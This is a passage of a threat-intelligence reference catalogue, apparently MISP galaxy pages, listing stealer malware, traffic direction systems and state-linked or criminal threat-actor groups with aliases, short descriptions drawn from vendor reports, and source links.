It is designed to steal data found within multiple Chromium and Firefox based browsers, it can also steal many popular cryptocurrency wallets as well as any saved FTP passwords within FileZilla. Nocturnal Stealer uses several anti-VM and anti-analysis techniques, which include but are not limited to: environment fingerprinting, checking for debuggers and analyzers, searching for known virtual machine registry keys, and checking for emulation software.
Links |
https://www.proofpoint.com/us/threat-insight/post/thief-night-new-nocturnal-stealer-grabs-data-cheap |
TeleGrab
The first version stole browser credentials and cookies, along with all text files it can find on the system. The second variant added the ability to collect Telegram’s desktop cache and key files, as well as login information for the video game storefront Steam.
Links |
AZORult
It is able to steal accounts from different software, such as, Firefox password Internet Explorer/Edge Thunderbird Chrome/Chromium and many more. It is also able to (1) list all installed software, (2) list processes, (3) Get information about the machine name (CPU type, Graphic card, size of memory), (4) take screen captures, (5) Steal cryptomoney wallet from Electrum, MultiBit, monero-project, bitcoin-qt.
Links |
https://blog.minerva-labs.com/analyzing-an-azorult-attack-evasion-in-a-cloak-of-multiple-layers |
TDS
TDS is a list of Traffic Direction System used by adversaries.
TDS is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
Kafeine
Keitaro
Keitaro TDS is among the mostly used TDS in drive by infection chains
Links |
BlackTDS
BlackTDS is mutualised TDS advertised underground since end of December 2017
Links |
ShadowTDS
ShadowTDS is advertised underground since 2016-02. It’s in fact more like a Social Engineering kit focused on Android and embedding a TDS
SimpleTDS
SimpleTDS is a basic open source TDS
SimpleTDS is also known as:
-
Stds
Links |
BlackHat TDS
BlackHat TDS is sold underground.
Links |
http://malware.dontneedcoffee.com/2014/04/meet-blackhat-tds.html |
Futuristic TDS
Futuristic TDS is the TDS component of BlackOS/CookieBomb/NorthTale Iframer
Orchid TDS
Orchid TDS was sold underground. Rare usage
Threat actor
Known or estimated adversary groups targeting organizations and employees. Adversary groups are regularly confused with their initial operation or campaign..
Threat actor is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
Alexandre Dulaunoy - Florian Roth - Thomas Schreck - Timo Steffens - Various
Comment Crew
PLA Unit 61398 (Chinese: 61398部队, Pinyin: 61398 bùduì) is the Military Unit Cover Designator (MUCD)[1] of a People’s Liberation Army advanced persistent threat unit that has been alleged to be a source of Chinese computer hacking attacks
Comment Crew is also known as:
-
Comment Panda
-
PLA Unit 61398
-
APT 1
-
APT1
-
Advanced Persistent Threat 1
-
Byzantine Candor
-
Group 3
-
TG-8223
-
Comment Group
-
Brown Fox
-
GIF89a
Links |
https://www.cfr.org/interactive/cyber-operations/pla-unit-61398 |
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf |
Stalker Panda
The group appears to have close ties to the Chinese National University of Defense and Technology, which is possibly linked to the PLA. Stalker Panda has been observed conducting targeted attacks against Japan, Taiwan, Hong Kong, and the United States. The attacks appear to be centered on political, media, and engineering sectors. The group appears to have been active since around 2010 and they maintain and upgrade their tools regularly.
Links |
Nitro
These attackers were the subject of an extensive report by Symantec in 2011, which termed the attackers Nitro and stated: 'The goal of the attackers appears to be to collect intellectual property such as design documents, formulas, and manufacturing processes. In addition, the same attackers appear to have a lengthy operation history including attacks on other industries and organizations. Attacks on the chemical industry are merely their latest attack wave. As part of our investigations, we were also able to identify and contact one of the attackers to try and gain insights into the motivations behind these attacks.' Palo Alto Networks reported on continued activity by the attackers in 2014.
Nitro is also known as:
-
Covert Grove
Links |
Codoso
The New York Times described Codoso as: 'A collection of hackers for hire that the security industry has been tracking for years. Over the years, the group has breached banks, law firms and tech companies, and once hijacked the Forbes website to try to infect visitors’ computers with malware.'
Codoso is also known as:
-
C0d0so
-
APT19
-
APT 19
-
Sunshop Group
Dust Storm
Links |
Karma Panda
Adversary targeting dissident groups in China and its surroundings.
Links |
Wet Panda
Links |
http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf |
Foxy Panda
Adversary group targeting telecommunication and technology organizations.
Links |
Predator Panda
Links |
http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf |
Union Panda
Links |
Spicy Panda
Links |
http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf |
Eloquent Panda
Links |
Putter Panda
Putter Panda were the subject of an extensive report by CrowdStrike, which stated: 'The CrowdStrike Intelligence team has been tracking this particular unit since2012, under the codename PUTTER PANDA, and has documented activity dating back to 2007. The report identifies Chen Ping, aka cpyy, and the primary location of Unit 61486.'
Putter Panda is also known as:
-
PLA Unit 61486
-
APT 2
-
Group 36
-
APT-2
-
MSUpdater
-
4HCrew
-
SULPHUR
-
TG-6952
Links |
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf |
https://www.cfr.org/interactive/cyber-operations/putter-panda |
UPS
Symantec described UPS in 2016 report as: 'Buckeye (also known as APT3, Gothic Panda, UPS Team, and TG-0110) is a cyberespionage group that is believed to have been operating for well over half a decade. Traditionally, the group attacked organizations in the US as well as other targets. However, Buckeyes focus appears to have changed as of June 2015, when the group began compromising political entities in Hong Kong.'
UPS is also known as:
-
Gothic Panda
-
TG-0110
-
APT 3
-
Group 6
-
UPS Team
-
APT3
-
Buckeye
-
Boyusec
Links |
http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong |
DarkHotel
Kaspersky described DarkHotel in a 2014 report as: '… DarkHotel drives its campaigns by spear-phishing targets with highly advanced Flash zero-day exploits that effectively evade the latest Windows and Adobe defenses, and yet they also imprecisely spread among large numbers of vague targets with peer-to-peer spreading tactics. Moreover, this crews most unusual characteristic is that for several years the Darkhotel APT has maintained a capability to use hotel networks to follow and hit selected targets as they travel around the world.'
DarkHotel is also known as:
-
DUBNIUM
-
Fallout Team
-
Karba
-
Luder
-
Nemim
-
Tapaoux
-
Pioneer
IXESHE
A group of China-based attackers, who conducted a number of spear phishing attacks in 2013.
IXESHE is also known as:
-
Numbered Panda
-
TG-2754
-
BeeBus
-
Group 22
-
DynCalc
-
Calc Team
-
DNSCalc
-
Crimson Iron
-
APT12
-
APT 12
Links |
APT 16
Links |
https://www.fireeye.com/blog/threat-research/2015/12/the_eps_awakens.html |
Aurora Panda
FireEye described APT17 in a 2015 report as: 'APT17, also known as DeputyDog, is a China based threat group that FireEye Intelligence has observed conducting network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations.'
Aurora Panda is also known as:
-
APT 17
-
Deputy Dog
-
Group 8
-
APT17
-
Hidden Lynx
-
Tailgater Team
Links |
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/hidden_lynx.pdf |
Wekby
Wekby was described by Palo Alto Networks in a 2015 report as: 'Wekby is a group that has been active for a number of years, targeting various industries such as healthcare, telecommunications, aerospace, defense, and high tech. The group is known to leverage recently released exploits very shortly after those exploits are available, such as in the case of HackingTeams Flash zero - day exploit.'
Wekby is also known as:
-
Dynamite Panda
-
TG-0416
-
APT 18
-
SCANDIUM
-
PLA Navy
-
APT18
Links |
https://threatpost.com/apt-gang-branches-out-to-medical-espionage-in-community-health-breach/107828 |
Tropic Trooper
TrendMicro described Tropic Trooper in a 2015 report as: 'Taiwan and the Philippines have become the targets of an ongoing campaign called Operation TropicTrooper. Active since 2012, the attackers behind the campaign haveset their sights on the Taiwanese government as well as a number of companies in the heavy industry. The same campaign has also targeted key Philippine military agencies.'
Tropic Trooper is also known as:
-
Operation Tropic Trooper
Links |
Axiom
The Winnti grouping of activity is large and may actually be a number of linked groups rather than a single discrete entity. Kaspersky describe Winnti as: 'The Winnti group has been attacking companies in the online video game industry since 2009 and is currently still active. The groups objectives are stealing digital certificates signed by legitimate software vendors in addition to intellectual property theft, including the source code of online game projects. The majority of the victims are from South East Asia.'
Axiom is also known as:
-
Winnti Group
-
Tailgater Team
-
Group 72
-
Group72
-
Tailgater
-
Ragebeast
-
Blackfly
-
Lead
-
Wicked Spider
-
APT17
-
APT 17
-
Dogfish
-
Deputy Dog
-
Wicked Panda
-
Barium
Links |
http://securelist.com/blog/research/57585/winnti-faq-more-than-just-a-game/ |
Shell Crew
Adversary group targeting financial, technology, non-profit organisations.
Shell Crew is also known as:
-
Deep Panda
-
WebMasters
-
APT 19
-
KungFu Kittens
-
Black Vine
-
Group 13
-
PinkPanther
-
Sh3llCr3w
Links |
http://cybercampaigns.net/wp-content/uploads/2013/06/Deep-Panda.pdf |
Naikon
Kaspersky described Naikon in a 2015 report as: 'The Naikon group is mostly active in countries such as the Philippines, Malaysia, Cambodia, Indonesia, Vietnam, Myanmar, Singapore, and Nepal, hitting a variety of targets in a very opportunistic way.'
Naikon is also known as:
-
PLA Unit 78020
-
APT 30
-
APT30
-
Override Panda
-
Camerashy
-
APT.Naikon
-
Lotus Panda
Links |
https://securelist.com/analysis/publications/69953/the-naikon-apt/ |
Lotus Blossom
Lotus Blossom is also known as:
-
Spring Dragon
-
ST Group
-
Eslie
Lotus Panda
Lotus Panda is also known as:
-
Elise
Links |
http://www.crowdstrike.com/blog/rhetoric-foreshadows-cyber-activity-in-the-south-china-sea/ |
Hurricane Panda
Hurricane Panda is also known as:
-
Black Vine
-
TEMP.Avengers
Links |
Emissary Panda
A China-based actor that targets foreign embassies to collect data on government, defence, and technology sectors.
Emissary Panda is also known as:
-
TG-3390
-
APT 27
-
TEMP.Hippo
-
Group 35
-
Bronze Union
-
ZipToken
-
HIPPOTeam
-
APT27
-
Operation Iron Tiger
-
Iron Tiger APT
Stone Panda
Stone Panda is also known as:
-
APT10
-
APT 10
-
MenuPass
-
happyyongzi
-
POTASSIUM
-
DustStorm
-
Red Apollo
-
CVNX
-
HOGFISH
-
Cloud Hopper
-
Stone Panda
Links |
Nightshade Panda
Nightshade Panda is also known as:
-
APT 9
-
Flowerlady/Flowershow
-
Flowerlady
-
Flowershow
Links |
Hellsing
This threat actor uses spear-phishing techniques to compromise diplomatic targets in Southeast Asia, India, and the United States. It also seems to have targeted the APT 30. Possibly uses the same infrastructure as Mirage
Hellsing is also known as:
-
Goblin Panda
-
Cycldek
Links |
Night Dragon
Links |
https://kc.mcafee.com/corporate/index?page=content&id=KB71150 |
Mirage
This threat actor uses phishing techniques to compromise the networks of foreign ministries of European countries for espionage purposes.
Mirage is also known as:
-
Vixen Panda
-
Ke3Chang
-
GREF
-
Playful Dragon
-
APT 15
-
APT15
-
Metushy
-
Lurid
-
Social Network Team
-
Royal APT
Links |
Anchor Panda
PLA Navy
Anchor Panda is also known as:
-
APT14
-
APT 14
-
QAZTeam
-
ALUMINUM
Links |
https://www.cfr.org/interactive/cyber-operations/anchor-panda |
NetTraveler
NetTraveler is also known as:
-
APT 21
Links |
https://www.cfr.org/interactive/cyber-operations/nettraveler |
Ice Fog
Operate since at least 2011, from several locations in China, with members in Korea and Japan as well. Possibly linked to Onion Dog. This threat actor targets government institutions, military contractors, maritime and shipbuilding groups, telecommunications operators, and others, primarily in Japan and South Korea.
Ice Fog is also known as:
-
IceFog
-
Dagger Panda
Pitty Panda
The Pitty Tiger group has been active since at least 2011. They have been seen using HeartBleed vulnerability in order to directly get valid credentials
Pitty Panda is also known as:
-
PittyTiger
-
MANGANESE
Links |
http://blog.airbuscybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2 |
Roaming Tiger
Links |
Beijing Group
Beijing Group is also known as:
-
Sneaky Panda
Links |
https://www.cfr.org/interactive/cyber-operations/sneaky-panda |
APT.3102
Links |
Samurai Panda
Samurai Panda is also known as:
-
PLA Navy
-
APT4
-
APT 4
-
Wisp Team
-
Getkys
-
SykipotGroup
-
Wkysol
Links |
Violin Panda
Violin Panda is also known as:
-
APT20
-
APT 20
-
APT8
-
APT 8
-
TH3Bug
Links |
Toxic Panda
A group targeting dissident groups in China and at the boundaries.
Links |
Temper Panda
China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as PoisonIvy, as well as some non-public backdoors. This threat actor targets prodemocratic activists and organizations in Hong Kong, European and international financial institutions, and a U.S.-based think tank.
Temper Panda is also known as:
-
Admin338
-
Team338
-
MAGNESIUM
-
admin@338
Links |
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html |
Pirate Panda
Pirate Panda is also known as:
-
APT23
-
KeyBoy
Links |
http://www.crowdstrike.com/blog/rhetoric-foreshadows-cyber-activity-in-the-south-china-sea/ |
Flying Kitten
Activity: defense and aerospace sectors, also interested in targeting entities in the oil/gas industry.
Flying Kitten is also known as:
-
SaffronRose
-
Saffron Rose
-
AjaxSecurityTeam
-
Ajax Security Team
-
Group 26
-
Sayad
Links |
https://www.cfr.org/interactive/cyber-operations/saffron-rose |
Cutting Kitten
While tracking a suspected Iran-based threat group known as Threat Group-2889[1] (TG-2889), Dell SecureWorks Counter Threat Unit™ (CTU) researchers uncovered a network of fake LinkedIn profiles. These convincing profiles form a self-referenced network of seemingly established LinkedIn users. CTU researchers assess with high confidence the purpose of this network is to target potential victims through social engineering. Most of the legitimate LinkedIn accounts associated with the fake accounts belong to individuals in the Middle East, and CTU researchers assess with medium confidence that these individuals are likely targets of TG-2889. One of the threat actors responsible for the denial of service attacks against U.S in 2012–2013. Three individuals associated with the group—believed to be have been working on behalf of Iran’s Islamic Revolutionary Guard Corps—were indicted by the Justice Department in 2016.
Cutting Kitten is also known as:
-
ITSecTeam
-
Threat Group 2889
-
TG-2889
-
Ghambar
Links |
Charming Kitten
Charming Kitten (aka Parastoo, aka Newscaster) is an group with a suspected nexus to Iran that targets organizations involved in government, defense technology, military, and diplomacy sectors.
Charming Kitten is also known as:
-
Newscaster
-
Parastoo
-
iKittens
-
Group 83
-
Newsbeef
APT33
Our analysis reveals that APT33 is a capable group that has carried out cyber espionage operations since at least 2013. We assess APT33 works at the behest of the Iranian government.
APT33 is also known as:
Links |
Magic Kitten
Earliest activity back to November 2008. An established group of cyber attackers based in Iran, who carried on several campaigns in 2013, including a series of attacks targeting political dissidents and those supporting Iranian political opposition.
Magic Kitten is also known as:
-
Group 42
Links |
http://www.scmagazineuk.com/iran-and-russia-blamed-for-state-sponsored-espionage/article/330401/ |
Rocket Kitten
Targets Saudi Arabia, Israel, US, Iran, high ranking defense officials, embassies of various target countries, notable Iran researchers, human rights activists, media and journalists, academic institutions and various scholars, including scientists in the fields of physics and nuclear sciences.
Rocket Kitten is also known as:
-
TEMP.Beanie
-
Operation Woolen Goldfish
-
Operation Woolen-Goldfish
-
Thamar Reservoir
-
Timberworm
Links |
https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf |
https://www.cfr.org/interactive/cyber-operations/rocket-kitten |
Cleaver
A group of cyber actors utilizing infrastructure located in Iran have been conducting computer network exploitation activity against public and private U.S. organizations, including Cleared Defense Contractors (CDCs), academic institutions, and energy sector companies. This threat actor targets entities in the government, energy, and technology sectors that are located in or do business with Saudi Arabia.
Cleaver is also known as:
-
Operation Cleaver
-
Tarh Andishan
-
Alibaba
-
2889
-
TG-2889
-
Cobalt Gypsy
-
Ghambar
-
Cutting Kitten
-
Group 41
-
Magic Hound
Rebel Jackal
This is a pro-Islamist organization that generally conducts attacks motivated by real world events in which its members believe that members of the Muslim faith were wronged. Its attacks generally involve website defacements; however, the group did develop a RAT that it refers to as Fallaga RAT, but which appears to simply be a fork of the njRAT malware popular amongst hackers in the Middle East/North Africa region.
Rebel Jackal is also known as:
-
FallagaTeam
Sofacy
The Sofacy Group (also known as APT28, Pawn Storm, Fancy Bear and Sednit) is a cyber espionage group believed to have ties to the Russian government. Likely operating since 2007, the group is known to target government, military, and security organizations. It has been characterized as an advanced persistent threat.
Sofacy is also known as:
-
APT 28
-
APT28
-
Pawn Storm
-
PawnStorm
-
Fancy Bear
-
Sednit
-
TsarTeam
-
Tsar Team
-
TG-4127
-
Group-4127
-
STRONTIUM
-
TAG_0700
-
Swallowtail
-
IRON TWILIGHT
-
Group 74
APT 29
A 2015 report by F-Secure describe APT29 as: 'The Dukes are a well-resourced, highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making. The Dukes show unusual confidence in their ability to continue successfully compromising their targets, as well as in their ability to operate with impunity. The Dukes primarily target Western governments and related organizations, such as government ministries and agencies, political think tanks, and governmental subcontractors. Their targets have also included the governments of members of the Commonwealth of Independent States;Asian, African, and Middle Eastern governments;organizations associated with Chechen extremism;and Russian speakers engaged in the illicit trade of controlled substances and drugs. The Dukes are known to employ a vast arsenal of malware toolsets, which we identify as MiniDuke, CosmicDuke, OnionDuke, CozyDuke, CloudDuke, SeaDuke, HammerDuke, PinchDuke, and GeminiDuke. In recent years, the Dukes have engaged in apparently biannual large - scale spear - phishing campaigns against hundreds or even thousands of recipients associated with governmental institutions and affiliated organizations. These campaigns utilize a smash - and - grab approach involving a fast but noisy breakin followed by the rapid collection and exfiltration of as much data as possible.If the compromised target is discovered to be of value, the Dukes will quickly switch the toolset used and move to using stealthier tactics focused on persistent compromise and long - term intelligence gathering. This threat actor targets government ministries and agencies in the West, Central Asia, East Africa, and the Middle East; Chechen extremist groups; Russian organized crime; and think tanks. It is suspected to be behind the 2015 compromise of unclassified networks at the White House, Department of State, Pentagon, and the Joint Chiefs of Staff. The threat actor includes all of the Dukes tool sets, including MiniDuke, CosmicDuke, OnionDuke, CozyDuke, SeaDuke, CloudDuke (aka MiniDionis), and HammerDuke (aka Hammertoss). '
APT 29 is also known as:
-
Dukes
-
Group 100
-
Cozy Duke
-
CozyDuke
-
EuroAPT
-
CozyBear
-
CozyCar
-
Cozer
-
Office Monkeys
-
OfficeMonkeys
-
APT29
-
Cozy Bear
-
The Dukes
-
Minidionis
-
SeaDuke
-
Hammer Toss
Turla Group
A 2014 Guardian article described Turla as: 'Dubbed the Turla hackers, initial intelligence had indicated western powers were key targets, but it was later determined embassies for Eastern Bloc nations were of more interest. Embassies in Belgium, Ukraine, China, Jordan, Greece, Kazakhstan, Armenia, Poland, and Germany were all attacked, though researchers from Kaspersky Lab and Symantec could not confirm which countries were the true targets. In one case from May 2012, the office of the prime minister of a former Soviet Union member country was infected, leading to 60 further computers being affected, Symantec researchers said. There were some other victims, including the ministry for health of a Western European country, the ministry for education of a Central American country, a state electricity provider in the Middle East and a medical organisation in the US, according to Symantec. It is believed the group was also responsible for a much - documented 2008 attack on the US Central Command. The attackers - who continue to operate - have ostensibly sought to carry out surveillance on targets and pilfer data, though their use of encryption across their networks has made it difficult to ascertain exactly what the hackers took.Kaspersky Lab, however, picked up a number of the attackers searches through their victims emails, which included terms such as Nato and EU energy dialogue Though attribution is difficult to substantiate, Russia has previously been suspected of carrying out the attacks and Symantecs Gavin O’ Gorman told the Guardian a number of the hackers appeared to be using Russian names and language in their notes for their malicious code. Cyrillic was also seen in use.'
Turla Group is also known as:
-
Turla
-
Snake
-
Venomous Bear
-
Group 88
-
Waterbug
-
WRAITH
-
Turla Team
-
Uroburos
-
Pfinet
-
TAG_0530
-
KRYPTON
-
Hippo Team
Energetic Bear
A Russian group that collects intelligence on the energy industry.
Energetic Bear is also known as:
-
Dragonfly
-
Crouching Yeti
-
Group 24
-
Havex
-
CrouchingYeti
-
Koala Team
Sandworm
This threat actor targets industrial control systems, using a tool called Black Energy, associated with electricity and power generation for espionage, denial of service, and data destruction purposes. Some believe that the threat actor is linked to the 2015 compromise of the Ukrainian electrical grid and a distributed denial of service prior to the Russian invasion of Georgia. Believed to be responsible for the 2008 DDoS attacks in Georgia and the 2015 Ukraine power grid outage
Sandworm is also known as:
-
Sandworm Team
-
Black Energy
-
BlackEnergy
-
Quedagh
-
Voodoo Bear
-
TEMP.Noble
Links |
http://www.isightpartners.com/2016/01/ukraine-and-sandworm-team/ |
https://www.cfr.org/interactive/cyber-operations/black-energy |
TeleBots
We will refer to the gang behind the malware as TeleBots. However it’s important to say that these attackers, and the toolset used, share a number of similarities with the BlackEnergy group, which conducted attacks against the energy industry in Ukraine in December 2015 and January 2016. In fact, we think that the BlackEnergy group has evolved into the TeleBots group.
TeleBots is also known as:
-
Sandworm
Links |
http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/ |
Anunak
Groups targeting financial organizations or people with significant financial assets.
Anunak is also known as:
-
Carbanak
-
Carbon Spider
-
FIN7
TeamSpy Crew
TeamSpy Crew is also known as:
-
TeamSpy
-
Team Bear
-
Berserk Bear
-
Anger Bear
Links |
https://www.cfr.org/interactive/cyber-operations/team-spy-crew |
BuhTrap
Links |
http://www.welivesecurity.com/2015/11/11/operathion-buhtrap-malware-distributed-via-ammyy-com/ |
Boulder Bear
First observed activity in December 2013.
Shark Spider
This group’s activity was first observed in November 2013. It leverages a banking Trojan more commonly known as Shylock which aims to compromise online banking credentials and credentials related to Bitcoin wallets.
Union Spider
Adversary targeting manufacturing and industrial organizations.
Links |
Silent Chollima
Silent Chollima is also known as:
-
OperationTroy
-
Guardian of Peace
-
GOP
-
WHOis Team
Links |
Lazarus Group
Since 2009, HIDDEN COBRA actors have leveraged their capabilities to target and compromise a range of victims; some intrusions have resulted in the exfiltration of data while others have been disruptive in nature. Commercial reporting has referred to this activity as Lazarus Group and Guardians of Peace. Tools and capabilities used by HIDDEN COBRA actors include DDoS botnets, keyloggers, remote access tools (RATs), and wiper malware. Variants of malware and tools used by HIDDEN COBRA actors include Destover, Duuzer, and Hangman.
Lazarus Group is also known as:
-
Operation DarkSeoul
-
Dark Seoul
-
Hidden Cobra
-
Hastati Group
-
Andariel
-
Unit 121
-
Bureau 121
-
NewRomanic Cyber Army Team
-
Bluenoroff
-
Group 77
-
Labyrinth Chollima
-
Operation Troy
-
Operation GhostSecret
-
Operation AppleJeus
Viceroy Tiger
Viceroy Tiger is also known as:
-
Appin
-
OperationHangover
Links |
Corsair Jackal
Corsair Jackal is also known as:
-
TunisianCyberArmy
Links |
https://www.crowdstrike.com/blog/regional-conflict-and-cyber-blowback/ |
SNOWGLOBE
In 2014, researchers at Kaspersky Lab discovered and reported on three zero-days that were being used in cyberattacks in the wild. Two of these zero-day vulnerabilities are associated with an advanced threat actor we call Animal Farm. Over the past few years, Animal Farm has targeted a wide range of global organizations. The group has been active since at least 2009 and there are signs that earlier malware versions were developed as far back as 2007.
SNOWGLOBE is also known as:
-
Animal Farm
Deadeye Jackal
The Syrian Electronic Army (SEA) is a group of computer hackers which first surfaced online in 2011 to support the government of Syrian President Bashar al-Assad. Using spamming, website defacement, malware, phishing, and denial of service attacks, it has targeted political opposition groups, western news organizations, human rights groups and websites that are seemingly neutral to the Syrian conflict. It has also hacked government websites in the Middle East and Europe, as well as US defense contractors. As of 2011 the SEA has been the first Arab country to have a public Internet Army hosted on its national networks to openly launch cyber attacks on its enemies. The precise nature of SEA’s relationship with the Syrian government has changed over time and is unclear
Deadeye Jackal is also known as:
-
SyrianElectronicArmy
-
SEA
Links |
Operation C-Major
Group targeting Indian Army or related assets in India, as well as activists and civil society in Pakistan. Attribution to a Pakistani connection has been made by TrendMicro and others.
Operation C-Major is also known as:
-
C-Major
-
Transparent Tribe
-
Mythic Leopard
Links |
https://www.crowdstrike.com/blog/adversary-of-the-month-for-may/ |
Stealth Falcon
This threat actor targets civil society groups and Emirati journalists, activists, and dissidents.
Stealth Falcon is also known as:
-
FruityArmor
Links |
https://www.cfr.org/interactive/cyber-operations/stealth-falcon |
ScarCruft
ScarCruft is a relatively new APT group; victims have been observed in several countries, including Russia, Nepal, South Korea, China, India, Kuwait and Romania. The group has several ongoing operations utilizing multiple exploits — two for Adobe Flash and one for Microsoft Internet Explorer.
ScarCruft is also known as:
-
Operation Daybreak
-
Operation Erebus
Links |
Pacifier APT
Bitdefender detected and blocked an ongoing cyber-espionage campaign against Romanian institutions and other foreign targets. The attacks started in 2014, with the latest reported occurrences in May of 2016. The APT, dubbed Pacifier by Bitdefender researchers, makes use of malicious .doc documents and .zip files distributed via spear phishing e-mail.
Pacifier APT is also known as:
-
Skipper
-
Popeye
Links |
HummingBad
This group created a malware that takes over Android devices and generates $300,000 per month in fraudulent ad revenue. The group effectively controls an arsenal of over 85 million mobile devices around the world. With the potential to sell access to these devices to the highest bidder
Links |
http://blog.checkpoint.com/wp-content/uploads/2016/07/HummingBad-Research-report_FINAL-62916.pdf |
Dropping Elephant
Dropping Elephant (also known as “Chinastrats” and “Patchwork“) is a relatively new threat actor that is targeting a variety of high profile diplomatic and economic targets using a custom set of attack tools. Its victims are all involved with China’s foreign relations in some way, and are generally caught through spear-phishing or watering hole attacks.
Dropping Elephant is also known as:
-
Chinastrats
-
Patchwork
-
Monsoon
-
Sarit
Links |
https://securelist.com/blog/research/75328/the-dropping-elephant-actor/ |
https://blogs.forcepoint.com/security-labs/monsoon-analysis-apt-campaign |
Scarlet Mimic
Scarlet Mimic is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group’s motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by Scarlet Mimic and Putter Panda, it has not been concluded that the groups are the same.
Links |
Poseidon Group
Poseidon Group is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the Poseidon Group as a security firm.
Links |
DragonOK
Threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, DragonOK is thought to have a direct or indirect relationship with the threat group Moafee. 2223 It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT.
DragonOK is also known as:
-
Moafee
Links |
http://www.morphick.com/resources/news/deep-dive-dragonok-rambo-backdoor |
Threat Group-3390
Chinese threat group that has extensively used strategic Web compromises to target victims.
Threat Group-3390 is also known as:
-
TG-3390
-
Emissary Panda
Links |
https://www.cfr.org/interactive/cyber-operations/emissary-panda |
ProjectSauron
ProjectSauron is the name for a top level modular cyber-espionage platform, designed to enable and manage long-term campaigns through stealthy survival mechanisms coupled with multiple exfiltration methods. Technical details show how attackers learned from other extremely advanced actors in order to avoid repeating their mistakes. As such, all artifacts are customized per given target, reducing their value as indicators of compromise for any other victim. Usually APT campaigns have a geographical nexus, aimed at extracting information within a specific region or from a given industry. That usually results in several infections in countries within that region, or in the targeted industry around the world. Interestingly, ProjectSauron seems to be dedicated to just a couple of countries, focused on collecting high value intelligence by compromising almost all key entities it could possibly reach within the target area. The name, ProjectSauron reflects the fact that the code authors refer to ‘Sauron’ in the Lua scripts.
ProjectSauron is also known as:
-
Strider
-
Sauron
-
Project Sauron
Links |
https://securelist.com/analysis/publications/75533/faq-the-projectsauron-apt/ |
https://www.cfr.org/interactive/cyber-operations/project-sauron |
APT 30
APT 30 is a threat group suspected to be associated with the Chinese government. While Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches.
APT 30 is also known as:
-
APT30
Links |
TA530
TA530, who we previously examined in relation to large-scale personalized phishing campaigns
GCMAN
GCMAN is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services.
Links |
Suckfly
Suckfly is a China-based threat group that has been active since at least 2014
FIN6
FIN is a group targeting financial assets including assets able to do financial transaction including PoS.
Links |
Libyan Scorpions
Libyan Scorpions is a malware operation in use since September 2015 and operated by a politically motivated group whose main objective is intelligence gathering, spying on influentials and political figures and operate an espionage campaign within Libya.
TeamXRat
TeamXRat is also known as:
-
CorporacaoXRat
-
CorporationXRat
Links |
https://securelist.com/blog/research/76153/teamxrat-brazilian-cybercrime-meets-ransomware/ |
OilRig
OilRig is an Iranian threat group operating primarily in the Middle East by targeting organizations in this region that are in a variety of different industries; however, this group has occasionally targeted organizations outside of the Middle East as well. It also appears OilRig carries out supply chain attacks, where the threat group leverages the trust relationship between organizations to attack their primary targets.
OilRig is an active and organized threat group, which is evident based on their systematic targeting of specific organizations that appear to be carefully chosen for strategic purposes. Attacks attributed to this group primarily rely on social engineering to exploit the human rather than software vulnerabilities; however, on occasion this group has used recently patched vulnerabilities in the delivery phase of their attacks. The lack of software vulnerability exploitation does not necessarily suggest a lack of sophistication, as OilRig has shown maturity in other aspects of their operations. Such maturities involve:
-Organized evasion testing used the during development of their tools. -Use of custom DNS Tunneling protocols for command and control (C2) and data exfiltration. -Custom web-shells and backdoors used to persistently access servers.
OilRig relies on stolen account credentials for lateral movement. After OilRig gains access to a system, they use credential dumping tools, such as Mimikatz, to steal credentials to accounts logged into the compromised system. The group uses these credentials to access and to move laterally to other systems on the network. After obtaining credentials from a system, operators in this group prefer to use tools other than their backdoors to access the compromised systems, such as remote desktop and putty. OilRig also uses phishing sites to harvest credentials to individuals at targeted organizations to gain access to internet accessible resources, such as Outlook Web Access.
OilRig is also known as:
-
Twisted Kitten
-
Cobalt Gypsy
-
Crambus
Volatile Cedar
Beginning in late 2012, a carefully orchestrated attack campaign we call Volatile Cedar has been targeting individuals, companies and institutions worldwide. This campaign, led by a persistent attacker group, has successfully penetrated a large number of targets using various attack techniques, and specifically, a custom-made malware implant codenamed Explosive .
Links |
https://www.checkpoint.com/downloads/volatile-cedar-technical-report.pdf |
Malware reusers
Threat Group conducting cyber espionage while re-using tools from other teams; like those of Hacking Team, and vmprotect to obfuscate.
Malware reusers is also known as:
-
Reuse team
-
Dancing Salome
TERBIUM
Microsoft Threat Intelligence identified similarities between this recent attack and previous 2012 attacks against tens of thousands of computers belonging to organizations in the energy sector. Microsoft Threat Intelligence refers to the activity group behind these attacks as TERBIUM, following our internal practice of assigning rogue actors chemical element names.
Links |
Molerats
